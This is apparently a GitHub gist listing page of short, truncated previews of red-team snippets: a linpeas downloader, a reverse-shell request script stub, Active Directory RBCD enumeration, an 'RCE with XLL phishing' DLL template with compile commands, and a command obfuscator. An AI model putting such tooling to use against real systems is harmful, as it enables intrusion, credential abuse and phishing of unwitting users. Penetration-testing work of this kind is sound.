Skip to content

Instantly share code, notes, and snippets.

View otterpwn's full-sized avatar
🦦
ʕ •ᴥ•ʔ

otter otterpwn

🦦
ʕ •ᴥ•ʔ
View GitHub Profile
package main
import (
"fmt"
"github.com/txthinking/socks5"
)
// go get github.com/txthinking/socks5
// this can be used with https://github.com/FalconOps-Cybersecurity/udpz
@otterpwn
otterpwn / Doxyfile
Last active October 25, 2024 19:39
template for Doxygen config file
# Doxyfile 1.9.1
# This file describes the settings to be used by the documentation system
# doxygen (www.doxygen.org) for a project.
#
# All text after a double hash (##) is considered a comment and is placed in
# front of the TAG it is preceding.
#
# All text after a single hash (#) is considered a comment and will be ignored.
# The format is:
@otterpwn
otterpwn / get_linpeas.sh
Last active October 24, 2024 14:39
download latest versions of some tools - i use these as aliases, not complicated but its fasterl
URL="https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"
OUTPUTFILE="${1:-linpeas.sh}"
curl -L -s "$URL" -o "$OUTPUTFILE"
# request a reverse shell from reverse-shell.sh
# Usage: ./request_revshell.sh <IP> <PORT> <OUTFILE>
# ʕ •ᴥ•ʔ
IP=$1
PORT=$2
OUTFILE=$3
if [ -z $IP ] || [ -z $PORT ] || [ -z $OUTFILE ]; then
echo "Usage: $0 <IP> <PORT> <OUTFILE>"
@otterpwn
otterpwn / rbcd.ps1
Created July 5, 2024 18:47
Enumerate user accounts for RBCD
# REQUIRES POWERVIEW
# get all computers in the domain
$computers = Get-DomainComputer
# get all users in the domain
$users = Get-DomainUser
# define the required access rights
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl" # ...
@otterpwn
otterpwn / main.c
Last active June 23, 2024 13:25
DLL template for RCE with XLL phishing
#include <Windows.h>
// compile with Visual Studio command prompt
// cl.exe main.c /LD /o legit.xll (/o will be deprecated soon)
// compile on linux
// x86_64-w64-mingw32-gcc -fPIC -shared -o legit.xll main.c -luser32
// REPLACE #include <Windows.h> with #include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
@otterpwn
otterpwn / rm.sh
Created June 17, 2024 19:42
Replace rm command with shred
#!/bin/bash
if [ "$#" -eq 0 ]; then
echo "rm: missing operand"
exit 1
fi
# iterate over each argument
for target in "$@"; do
if [ -d "$target" ]; then
@otterpwn
otterpwn / getTGT.py
Created June 8, 2024 15:27
Impacket getTGT.py that supports ENTERPRISE principal type
#!/usr/bin/python3
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#!/usr/bin/env python
import string
import sys
import random
# Command you want to encode and run
cmd = "SOME_COMMAND"
obfuscatedVars = []
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<title>
</title>
<!--[if !mso]><!-- -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!--<![endif]-->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">